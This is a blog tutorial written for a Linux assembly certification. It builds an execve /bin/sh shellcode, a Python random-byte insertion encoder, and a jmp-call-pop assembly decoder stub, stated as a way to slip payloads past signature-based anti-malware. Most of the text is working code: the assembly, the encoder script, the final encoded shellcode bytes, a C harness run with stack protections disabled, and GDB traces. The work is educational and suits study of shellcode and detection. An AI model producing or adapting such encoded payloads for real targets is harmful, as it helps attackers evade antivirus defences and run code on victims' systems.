INTRODUCTION
This tutorial is part of the SecurityTube Linux Assembly Expert certification.
The goal of this assignment is to create a custom insertion encoding scheme, a proof of concept for an execve-stack shellcode.
The tutorial will contain example source with comments. Listed source code may have formatting issues so best place to obtain copies is from the project’s Github repo.
This assignment will build from the previous assignments and so will not be reiterating explanations already covered there.
The problem
Sometimes delivering the an exploit payload with just a plain shellcode will not suffice when it comes to situations where a signature based protection, such as Anti-Malware is in place. This is where techniques for obfuscating the final shellcode comes into play.
The solution
Generally two methods exist, encryption and encoding, the later being simpler. This assignment will demonstrate a simple insertion based algorithm which will insert a random byte in between every other byte of the real shellcode.
Diagram below shows original shellcode
Diagram below shows where random bytes are inserted into shellcode
Finally a byte is prefixed to the new shellcode indicating how many random bytes have been inserted and thus helping the decoding process to reverse the shellcode back to its original state.
The above diagrams should give a high level overview of the encoding process. But with all encoding algorithm there needs to be a decoding process too.
The most important part of the decoding process will be to retrieve the shellcode’s first byte identifying how many random bytes have been inserted so that the decoding process knows when to stop and prevent a segfault.
Once the decoding process has completed, the program flow then needs to pass control to the start of the original shellcode.
Methodology
These are the steps I will take to produce our encoded shellcode.
- Generate a basic execve shellcode in assembly using nasm
- Script the encoder algorithm which take the original shellcode as input and generates the final encoded shellcode. Will use Python language for script
- Write decoder algorithm in assembly with encoded shellcode as input
- Insert decoder algorithm with decoded shellcode into c shellcode template to test running on stack
Proof of concept
First we need an execve based shellcode which is simple enough and source listed below.
; shellcode-execve.asm ; Author: Mutti K ; Purpose: Demonstration of simple execve shellcode which spawns /bin/bash ; Note: Null free shellcode. global _start section .text _start: ; execve() xor eax,eax ; zero out ;create string on stack /bin/sh mov edx, eax ; Param 3, null mov ecx, eax ; Param 2, null push eax ; null terminate shell string push 0x68732f2f ; hs// push 0x6e69622f ; nib/ mov ebx, esp ; Param 1 store pointer to string mov al, 0xb ; execve() int 0x80
Need to compile and ensure it works
target$ nasm -f elf32 -o shellcode-execve.o shellcode-execve.nasm target$ ld -o shellcode-execve shellcode-execve.o
Run execve shellcode to test
target$ ./shellcode-execve $ id uid=1000(remote) gid=1001(remote) groups=1001(remote) $ exit
Get an objdump of the shellcode which will be fed into our encoder script
target$ for i in `objdump -d shellcode-execve | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done \x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
Next we need to script the encoder algorithm which will take the original shellcode and output something encoded
#!/usr/bin/python """ Author: Mutti K Purpose: Proof of Concept Python Insertion Encoder. Paste your shellcode into the script and an encoded shellcode will be printed to the console. Limitations: Original shellcode cannot be larger than 255 bytes. """ import random import sys settings = {'debug':0,'timeout':5,'retry':5} shellcode = ("\x31\xc0\x89\xc2\x89\xc1\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80") def main(argv): shellcode_len = len(bytearray(shellcode)) if shellcode_len > 255: print ("Shellcode is %d which is to big, cannot be bigger than 255 bytes" % shellcode_len) else: insertion_single_random() ''' Format of output shellcode [number of inserted bytes][shellcode byte][inserted byte]... Limitation: Input shellcode cannot be greater than 255 bytes Decoding: Read first byte from encoded shellcode and this will tell you how many iteration to remove fake byte ''' def insertion_single_random(): encoded = "" loop_count = 0 print 'Single random insertion encoded shellcode ...' shellcode_len = len(bytearray(shellcode)) for x in bytearray(shellcode) : INSERT_BYTE = '0x%02x' % random.randint(1,255) if settings['debug']: print INSERT_BYTE loop_count += 1 #Append real byte from shellcode encoded += '0x' encoded += '%02x,' %x #Append fake byte encoded += INSERT_BYTE if loop_count < shellcode_len: encoded += ',' #Prepend loop count to final encoded shellcode encoded = '0x%02x,' %loop_count + encoded print encoded print 'Len: %d' % shellcode_len print ("Loop rounds = %d" % loop_count) if __name__ == "__main__": try: main(sys.argv[1:]) except Exception as e: print 'Cannot run program.\n', e if (settings['debug'] is not None): raise
Some key points of the script
- The original shellcode must be pasted into the ‘shellcode’ variable
- A new variable ‘encoded’ will hold the new shellcode
- As each byte is taken from the original shellcode a new random byte is added after it
- At the end of the process an extra byte is prepended to the shellcode which contains the value of the total number of random bytes inserted. This will help the decoder process figure out the end of the encoded shellcode
- Because only a single byte is used to represent the total insert bytes, this means that the original shellcode cannot be greater than 255 bytes
Let’s run to test if an encoded byte string is generated
target$ python insertion_encoder.py Single random insertion encoded shellcode ... 0x17,0x31,0xf1,0xc0,0x5f,0x89,0x16,0xc2,0x9a,0x89,0xa9,0xc1,0x3d,0x50,0xed,0x68,0x45,0x2f,0x90,0x2f,0x14,0x73,0xcc,0x68,0xc0,0x68,0x7b,0x2f,0x91,0x62,0xe3,0x69,0xd7,0x6e,0x06,0x89,0x7d,0xe3,0xda,0xb0,0x6e,0x0b,0x14,0xcd,0x80,0x80,0x4e Len: 23 Loop rounds = 23
As we can see above, the encoded bytes start with 0x17 = 23d which is the size of the original shellcode and number of inserted random bytes. I have also highlighted the first five bytes that indicate the original shellcode is placed correctly.
Now we move on to implementing the decoder algorithm using nasm. This will ensure we have shellcode that can self modify and run the original shellcode
;; insertion_rand_decoder.asm ; Author: Mutti K ; Purpose: Demonstration of insertion decoded shellcode. global _start section .text _start: ;First step is to jmp to location of encoded shellcode to help get address of position jmp short encoded_shell_marker decoder: pop esi ; Address of last caller, which is where the encoded shellcode is. xor ecx,ecx mov cl, byte[esi]; encoded shellcode has prefix for loop counter inc esi ; move esi past prefix counter to start of shellcode lea edi, [esi +1] ; location of next byte (the inserted byte) xor eax, eax mov al, 1 xor ebx, ebx decode: mov bl, byte [esi + eax + 1] ; Move value after insertion byte mov byte [edi], bl ; Ovewrite insertion byte inc edi ; Increment insertion counter add al, 2 loop decode jmp short EncodedShellcode +1 ; Loop finished so continue from 1 byte past prefix to shellcode encoded_shell_marker: call decoder EncodedShellcode: db 0x17,0x31,0xf1,0xc0,0x5f,0x89,0x16,0xc2,0x9a,0x89,0xa9,0xc1,0x3d,0x50,0xed,0x68,0x45,0x2f,0x90,0x2f,0x14,0x73,0xcc,0x68,0xc0,0x68,0x7b,0x2f,0x91,0x62,0xe3,0x69,0xd7,0x6e,0x06,0x89,0x7d,0xe3,0xda,0xb0,0x6e,0x0b,0x14,0xcd,0x80,0x80,0x4e
Key components of the shellcode
- Encoded shellcode is stored at bottom of code as db
- jmp, call, pop esi is used to retrieve memory location of encoded shellcode
- The ‘decoder’ section begins by extracting the prepended value of the total number of inserted bytes and places into cl
- With our intended number of iterations to move the good shellcode bytes over the random bytes our loop decode: process is ready
- Two important registers are ESI which holds the memory location of the start of the encoded shellcode and EDI which holds the memory location of where the newly moved bytes should be written to
- EAX acts as the incrementing pointer for the next position along the encoded shellcode that will be worked on
- Once ECX has finally zeroed out and the loop ends, control of the program is passed to the beginning of the newly decoded shellcode + 1 byte ahead skipping the prepended loop counter
Now we can compile the decoder ready for insertion into out c template code to test
target$ nasm -f elf32 -o insertion_rand_decoder.o insertion_rand_decoder.nasm target$ ld -o insertion_rand_decoder insertion_rand_decoder.o
A quick note, if you try to run the compiled insertion_rand_decoder program as is, you will receive a sigfault because the decoder is modifying (writing) to the section of the program memory which is marked as executable but not writable. This makes sense because the encoded shellcode isn’t on the stack yet. If you did want to test this code then an extra syscall needs to be added to the code which allows the memory permissions to be changed to writable using mprotect(). If you are interested, I have a modified version with the mprotect call in the github repo which can be found at the start of this blog.
Now we need to take an objdump of the final decoder + encoded shellcode ready for insertion into our c template code
$ for i in `objdump -d insertion_rand_decoder | tr '\t' ' ' | tr ' ' '\n' | egrep '^[0-9a-f]{2}$' ` ; do echo -n "\x$i" ; done
\xeb\x1c\x5e\x31\xc9\x8a\x0e\x46\x8d\x7e\x01\x31\xc0\xb0\x01\x31\xdb\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xe2\xf5\xeb\x06\xe8\xdf\xff\xff\xff\x17\x31\xf1\xc0\x5f\x89\x16\xc2\x9a\x89\xa9\xc1\x3d\x50\xed\x68\x45\x2f\x90\x2f\x14\x73\xcc\x68\xc0\x68\x7b\x2f\x91\x62\xe3\x69\xd7\x6e\x06\x89\x7d\xe3\xda\xb0\x6e\x0b\x14\xcd\x80\x80\x4e
I will insert the decoder and encoded shellcode into a c shellcode test program
#include<stdio.h> #include<string.h> unsigned char code[] = "\xeb\x1c\x5e\x31\xc9\x8a\x0e\x46" "\x8d\x7e\x01\x31\xc0\xb0\x01\x31" "\xdb\x8a\x5c\x06\x01\x88\x1f\x47" "\x04\x02\xe2\xf5\xeb\x06\xe8\xdf" "\xff\xff\xff\x17\x31\xf1\xc0\x5f" "\x89\x16\xc2\x9a\x89\xa9\xc1\x3d" "\x50\xed\x68\x45\x2f\x90\x2f\x14" "\x73\xcc\x68\xc0\x68\x7b\x2f\x91" "\x62\xe3\x69\xd7\x6e\x06\x89\x7d" "\xe3\xda\xb0\x6e\x0b\x14\xcd\x80\x80\x4e"; main() { printf("Shellcode Length: %d\n", sizeof(code)-1); int (*ret)() = (int(*)())code; ret(); }
Compile
target$ gcc -o ./insertion_rand_shellcode_skeleton shellcode_skeleton.c -fno-stack-protector -z execstack
Test
target$ ./insertion_rand_shellcode_skeleton Shellcode Length: 82 $ id uid=1000(remote) gid=1001(remote) groups=1001(remote) $ exit
I have included the test results from running the shellcode through GDB to further assist the reader in understanding how the shellcode works.
$ gdb ./insertion_rand_shellcode_skeleton GNU gdb (GDB) 7.4.1-debian Copyright (C) 2012 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment4/insertion_rand_shellcode_skeleton...(no debugging symbols found)...done. (gdb) break main Breakpoint 1 at 0x804841f (gdb) r Starting program: /home/remote/Dropbox/Pentesting/SLAE_exercises/assignment4/insertion_rand_shellcode_skeleton warning: no loadable sections found in added symbol-file system-supplied DSO at 0xb7fe0000 Breakpoint 1, 0x0804841f in main () (gdb) disas Dump of assembler code for function main: 0x0804841c <+0>: push %ebp 0x0804841d <+1>: mov %esp,%ebp => 0x0804841f <+3>: and $0xfffffff0,%esp 0x08048422 <+6>: sub $0x20,%esp 0x08048425 <+9>: movl $0x52,0x4(%esp) 0x0804842d <+17>: movl $0x80484e0,(%esp) 0x08048434 <+24>: call 0x8048300 <printf@plt> 0x08048439 <+29>: movl $0x80496c0,0x1c(%esp) 0x08048441 <+37>: mov 0x1c(%esp),%eax 0x08048445 <+41>: call *%eax 0x08048447 <+43>: leave 0x08048448 <+44>: ret End of assembler dump. (gdb) b *0x08048445 Breakpoint 2 at 0x8048445 (gdb) c Continuing. Shellcode Length: 82 Breakpoint 2, 0x08048445 in main () (gdb) disas Dump of assembler code for function main: 0x0804841c <+0>: push %ebp 0x0804841d <+1>: mov %esp,%ebp 0x0804841f <+3>: and $0xfffffff0,%esp 0x08048422 <+6>: sub $0x20,%esp 0x08048425 <+9>: movl $0x52,0x4(%esp) 0x0804842d <+17>: movl $0x80484e0,(%esp) 0x08048434 <+24>: call 0x8048300 <printf@plt> 0x08048439 <+29>: movl $0x80496c0,0x1c(%esp) 0x08048441 <+37>: mov 0x1c(%esp),%eax => 0x08048445 <+41>: call *%eax 0x08048447 <+43>: leave 0x08048448 <+44>: ret End of assembler dump. (gdb) set disassembly-flavor intel (gdb) stepi 0x080496c0 in code () (gdb) disas Dump of assembler code for function code: => 0x080496c0 <+0>: jmp 0x80496de <code+30> 0x080496c2 <+2>: pop esi 0x080496c3 <+3>: xor ecx,ecx 0x080496c5 <+5>: mov cl,BYTE PTR [esi] 0x080496c7 <+7>: inc esi 0x080496c8 <+8>: lea edi,[esi+0x1] 0x080496cb <+11>: xor eax,eax 0x080496cd <+13>: mov al,0x1 0x080496cf <+15>: xor ebx,ebx 0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1] 0x080496d5 <+21>: mov BYTE PTR [edi],bl 0x080496d7 <+23>: inc edi 0x080496d8 <+24>: add al,0x2 0x080496da <+26>: loop 0x80496d1 <code+17> 0x080496dc <+28>: jmp 0x80496e4 <code+36> 0x080496de <+30>: call 0x80496c2 <code+2> 0x080496e3 <+35>: pop ss 0x080496e4 <+36>: xor ecx,esi 0x080496e6 <+38>: rcr BYTE PTR [edi-0x77],0x16 0x080496ea <+42>: ret 0x899a 0x080496ed <+45>: test eax,0xed503dc1 0x080496f2 <+50>: push 0x2f902f45
Let’s continue execution until we have the start address of the encoded shellcode in esi
(gdb) stepi 0x080496de in code () (gdb) stepi 0x080496c2 in code () (gdb) stepi 0x080496c3 in code () (gdb) i r $esi esi 0x80496e3 134518499 (gdb) x /47xb $esi 0x80496e3 <code+35>: 0x17 0x31 0xf1 0xc0 0x5f 0x89 0x16 0xc2 0x80496eb <code+43>: 0x9a 0x89 0xa9 0xc1 0x3d 0x50 0xed 0x68 0x80496f3 <code+51>: 0x45 0x2f 0x90 0x2f 0x14 0x73 0xcc 0x68 0x80496fb <code+59>: 0xc0 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69 0x8049703 <code+67>: 0xd7 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0 0x804970b <code+75>: 0x6e 0x0b 0x14 0xcd 0x80 0x80 0x4e
Can you see the encoded shellcode?
Let’s define a hook-stop in gdb for the purpose of displaying this are of memory as we hit break points for the decode function
(gdb) define hook-stop Type commands for definition of "hook-stop". End with a line saying just "end". >disassemble >x /47xb $esi >end
Set two new break points, 1 at the end of every decode iteration and a second break point once the decode process has completed
(gdb) b *0x080496da Breakpoint 3 at 0x80496da (gdb) b *0x080496dc Breakpoint 4 at 0x80496dc
After five iterations we can see the correct bytes being moved into place.
(gdb) c
Continuing.
Dump of assembler code for function code:
0x080496c0 <+0>: jmp 0x80496de <code+30>
0x080496c2 <+2>: pop esi
0x080496c3 <+3>: xor ecx,ecx
0x080496c5 <+5>: mov cl,BYTE PTR [esi]
0x080496c7 <+7>: inc esi
0x080496c8 <+8>: lea edi,[esi+0x1]
0x080496cb <+11>: xor eax,eax
0x080496cd <+13>: mov al,0x1
0x080496cf <+15>: xor ebx,ebx
0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1]
0x080496d5 <+21>: mov BYTE PTR [edi],bl
0x080496d7 <+23>: inc edi
0x080496d8 <+24>: add al,0x2
=> 0x080496da <+26>: loop 0x80496d1 <code+17>
0x080496dc <+28>: jmp 0x80496e4 <code+36>
0x080496de <+30>: call 0x80496c2 <code+2>
0x080496e3 <+35>: pop ss
0x080496e4 <+36>: xor eax,eax
0x080496e6 <+38>: mov edx,eax
0x080496e8 <+40>: mov ecx,eax
0x080496ea <+42>: ret 0x899a
---Type to continue, or q to quit---
0x080496ed <+45>: test eax,0xed503dc1
0x080496f2 <+50>: push 0x2f902f45
0x080496f7 <+55>: adc al,0x73
0x080496f9 <+57>: int3
0x080496fa <+58>: push 0x2f7b68c0
0x080496ff <+63>: xchg ecx,eax
0x08049700 <+64>: (bad)
0x08049701 <+65>: jecxz 0x804976c
0x08049703 <+67>: xlat BYTE PTR ds:[ebx]
0x08049704 <+68>: outs dx,BYTE PTR ds:[esi]
0x08049705 <+69>: push es
0x08049706 <+70>: mov DWORD PTR [ebp-0x1d],edi
0x08049709 <+73>: fidiv DWORD PTR [eax-0x32ebf492]
0x0804970f <+79>: add BYTE PTR [eax+0x4e],0x0
End of assembler dump.
0x80496e4 <code+36>: 0x31 0xc0 0x89 0xc2 0x89 0xc1 0xc2 0x9a
0x80496ec <code+44>: 0x89 0xa9 0xc1 0x3d 0x50 0xed 0x68 0x45
0x80496f4 <code+52>: 0x2f 0x90 0x2f 0x14 0x73 0xcc 0x68 0xc0
0x80496fc <code+60>: 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69 0xd7
0x8049704 <code+68>: 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0 0x6e
0x804970c <code+76>: 0x0b 0x14 0xcd 0x80 0x80 0x4e 0x00
Breakpoint 3, 0x080496da in code ()
will disable the loop break point to allow the program to reach the final break point when the decoding completes and we can verify that the decoded shellcode in fully in place.
(gdb) disable 3 (gdb) c Continuing. Dump of assembler code for function code: 0x080496c0 <+0>: jmp 0x80496de <code+30> 0x080496c2 <+2>: pop esi 0x080496c3 <+3>: xor ecx,ecx 0x080496c5 <+5>: mov cl,BYTE PTR [esi] 0x080496c7 <+7>: inc esi 0x080496c8 <+8>: lea edi,[esi+0x1] 0x080496cb <+11>: xor eax,eax 0x080496cd <+13>: mov al,0x1 0x080496cf <+15>: xor ebx,ebx 0x080496d1 <+17>: mov bl,BYTE PTR [esi+eax*1+0x1] 0x080496d5 <+21>: mov BYTE PTR [edi],bl 0x080496d7 <+23>: inc edi 0x080496d8 <+24>: add al,0x2 0x080496da <+26>: loop 0x80496d1 <code+17> => 0x080496dc <+28>: jmp 0x80496e4 <code+36> 0x080496de <+30>: call 0x80496c2 <code+2> 0x080496e3 <+35>: pop ss 0x080496e4 <+36>: xor eax,eax 0x080496e6 <+38>: mov edx,eax 0x080496e8 <+40>: mov ecx,eax 0x080496ea <+42>: push eax ---Type to continue, or q to quit--- 0x080496eb <+43>: push 0x68732f2f 0x080496f0 <+48>: push 0x6e69622f 0x080496f5 <+53>: mov ebx,esp 0x080496f7 <+55>: mov al,0xb 0x080496f9 <+57>: int 0x80 0x080496fb <+59>: add BYTE PTR [eax+0x7b],ch 0x080496fe <+62>: das 0x080496ff <+63>: xchg ecx,eax 0x08049700 <+64>: (bad) 0x08049701 <+65>: jecxz 0x804976c 0x08049703 <+67>: xlat BYTE PTR ds:[ebx] 0x08049704 <+68>: outs dx,BYTE PTR ds:[esi] 0x08049705 <+69>: push es 0x08049706 <+70>: mov DWORD PTR [ebp-0x1d],edi 0x08049709 <+73>: fidiv DWORD PTR [eax-0x32ebf492] 0x0804970f <+79>: add BYTE PTR [eax+0x4e],0x0 End of assembler dump. 0x80496e4 <code+36>: 0x31 0xc0 0x89 0xc2 0x89 0xc1 0x50 0x68 0x80496ec <code+44>: 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x80496f4 <code+52>: 0x6e 0x89 0xe3 0xb0 0x0b 0xcd 0x80 0x00 0x80496fc <code+60>: 0x68 0x7b 0x2f 0x91 0x62 0xe3 0x69 0xd7 0x8049704 <code+68>: 0x6e 0x06 0x89 0x7d 0xe3 0xda 0xb0 0x6e 0x804970c <code+76>: 0x0b 0x14 0xcd 0x80 0x80 0x4e 0x00 ---Type to continue, or q to quit--- Breakpoint 4, 0x080496dc in code ()
And there we have it, the decoded execve shellcode is ready to run.
Thank you
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-473
Reblogged this on youremindmeofmymother.